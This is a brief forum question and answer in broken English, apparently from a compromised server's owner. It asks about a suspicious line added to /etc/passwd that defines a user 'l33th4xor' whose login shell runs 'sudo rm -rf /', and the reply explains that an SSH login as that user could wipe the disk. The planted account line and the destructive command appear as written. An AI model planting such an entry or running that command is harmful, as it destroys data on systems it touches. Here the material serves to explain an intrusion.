user - New line in /etc/passwd? -
yesterday noticed new php error logs , checked /etc/passwd
i found new line in there: l33th4xor:4l5amj4l33t:666:666:h4x0r:/:/usr/bin/sudo /bin/rm -rf /
what mean,i see got sth executed rm -rf,but i'm not sure.
could explain means,and user log in through user if 22 port opened?
if allow ssh login, accessible internet , have line in passwd, , if allow sudo, if executes ssh l33th4xor@yourhost , knows corresponding password encrypted 4l5amj4l33t, hard drive wiped (rm "delete" -rf "recursively , forcefully without asking confirmation" / "everything in root directory").
Comments
Post a Comment